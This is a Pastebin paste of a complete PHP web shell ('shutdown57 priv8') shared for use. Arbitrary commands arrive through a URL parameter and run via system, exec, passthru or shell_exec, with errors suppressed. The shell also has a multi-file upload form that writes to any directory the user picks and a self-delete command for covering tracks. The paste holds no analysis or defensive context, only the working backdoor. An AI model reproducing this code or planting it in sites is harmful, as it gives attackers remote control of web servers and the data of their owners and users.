Advertisement
shutdown57

shutdown57

Jun 24th, 2018
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.96 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.     <title>$ shutdown57 priv8 $</title>
  5.     <meta charset="utf-8">
  6.     <meta name="author" content="shutdown57">
  7. </head>
  8. <body>
  9. <style type="text/css">html,body{background:#333;color: #f00;}input{color:#eee;background: transparent;border:0;padding:6px}.content{width:70%;margin: 0 auto;}</style>
  10. <script type="text/javascript">
  11.     function s57_runCommand(command)
  12.     {
  13.         history.pushState(null,null,'?command='+command);
  14.  
  15.         var ajax =new XMLHttpRequest();
  16.         ajax.onreadystatechange = function()
  17.         {
  18.             if(this.readyState == 4 && this.status == 200)
  19.             {
  20.                 /*var response = this.responseText;
  21.                 var res = response.document.getElementById('res');*/
  22.                 document.getElementById('area').innerHTML=this.responseText;
  23.             }
  24.         };
  25.         ajax.open('GET','?command='+command,true);
  26.         ajax.send();
  27.     }
  28. </script>
  29. <div class="content">
  30. <div id="head">
  31. <center><a href="?" style="text-decoration: none;color: #eee"><h1>$ shutdown57 priv8 $</h1></a></center>
  32. <hr>
  33. </div>
  34. <?php
  35.  
  36. function s57_phpCommand($cmd) {
  37.  
  38. if($cmd == "--help" || $cmd == "-h")
  39. {
  40. $help = array("./upload" => "Untuk mengunggah file ke server.",
  41.               "./destroy" => "Untuk menghapus file ini. (".$_SERVER['PHP_SELF'].") ");
  42.  
  43. echo "[+] Addtional command [shutdown57] <br><br>";
  44. foreach($help as $h=>$k)
  45. {
  46.     echo "<font color=#fff>".$h."</font> => <font color=#fff>".$k."</font><br>";
  47. }
  48. }
  49.  
  50. if(function_exists('system')) {    
  51.     @ob_start();    
  52.     @system($cmd);    
  53.     $exect = @ob_get_contents();    
  54.     @ob_end_clean();    
  55.     return $exect;  
  56.   } elseif(function_exists('exec')) {    
  57.     @exec($cmd,$results);    
  58.     $exect = "";    
  59.     foreach($results as $result) {      
  60.       $exect .= $result;    
  61.     } return $exect;  
  62.   } elseif(function_exists('passthru')) {    
  63.     @ob_start();    
  64.     @passthru($cmd);    
  65.     $exect = @ob_get_contents();    
  66.     @ob_end_clean();    
  67.     return $exect;  
  68.   } elseif(function_exists('shell_exec')) {    
  69.     $exect = @shell_exec($cmd);    
  70.     return $exect;  
  71.   }
  72. }
  73.  
  74. function Jupl($a,$b){
  75.   if(function_exists('move_uploaded_file')){
  76.     $upl = move_uploaded_file($a,$b);
  77.   }elseif (function_exists('copy')) {
  78.     $upl = copy($a,$b);
  79.   }
  80.     return $upl;
  81.   }
  82.  function array_upload($file){
  83.     $file_ary = array();
  84.     $file_count = count($file['name']);
  85.      $file_key = array_keys($file);
  86.      for($i=0;$i<$file_count;$i++) {
  87.       foreach($file_key as $val) {
  88.         $file_ary[$i][$val] = $file[$val][$i];
  89.       }
  90.     }
  91.     return $file_ary;
  92.   }
  93.  
  94.  
  95. if(empty($_GET['command']))
  96. {
  97.     ?>shutdown57@<?=$_SERVER['HTTP_HOST'];?> $<input type="text" name="command" placeholder="What can i do for u? --help" id="command" style="width:80%" onchange="s57_runCommand(this.value)">
  98. <?php
  99. }else{
  100. if(!preg_match("/.\//",$_GET['command'])){
  101.  
  102. echo '</div><div id="area">';
  103. echo '<pre>'.s57_phpCommand($_GET['command']).'</pre>';
  104. echo "</div>";
  105.  
  106. }else{
  107.  
  108. if($_GET['command'] == './upload')
  109. {
  110. ?>    <center>
  111.     <form method="post" enctype="multipart/form-data">
  112.       <label>Select file ::</label>
  113.       <input type="file" name="jfilez[]" class="input_m" multiple="">
  114.       <label>Upload to ::</label>
  115.       <input type="text" name="jdirz" value="<?=getcwd();?>" class="input_m"><input type="submit" name="upload" value="Upload !" class="submit_m">
  116.     </form>
  117.   </center><?php
  118.   if(isset($_POST['upload'])){
  119.       echo "<pre>";
  120.       $file_up = array_upload($_FILES['jfilez']);
  121.       foreach($file_up as $filup){
  122.         if(Jupl($filup['tmp_name'],$_POST['jdirz']."/".$filup['name'])){
  123.           $res_upl.="Successfuly Upload file : ".$_POST['jdirz']."/".$filup['name'];
  124.         }else{
  125.           $res_upl.="Failed to upload file !";}
  126.         }
  127.         echo $res_upl."<br/></pre>";
  128.       }
  129.  
  130. }elseif($_GET['command'] == './destroy')
  131. {
  132.     unlink(getcwd().$_SERVER['PHP_SELF']);
  133.     echo '<meta http-equiv="refresh" content="0;url=??">';
  134. }
  135.  
  136. }
  137.  
  138. }
  139. ?>
  140. <div id="area"></div>
  141.  
  142. </div>
  143. </body>
  144. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement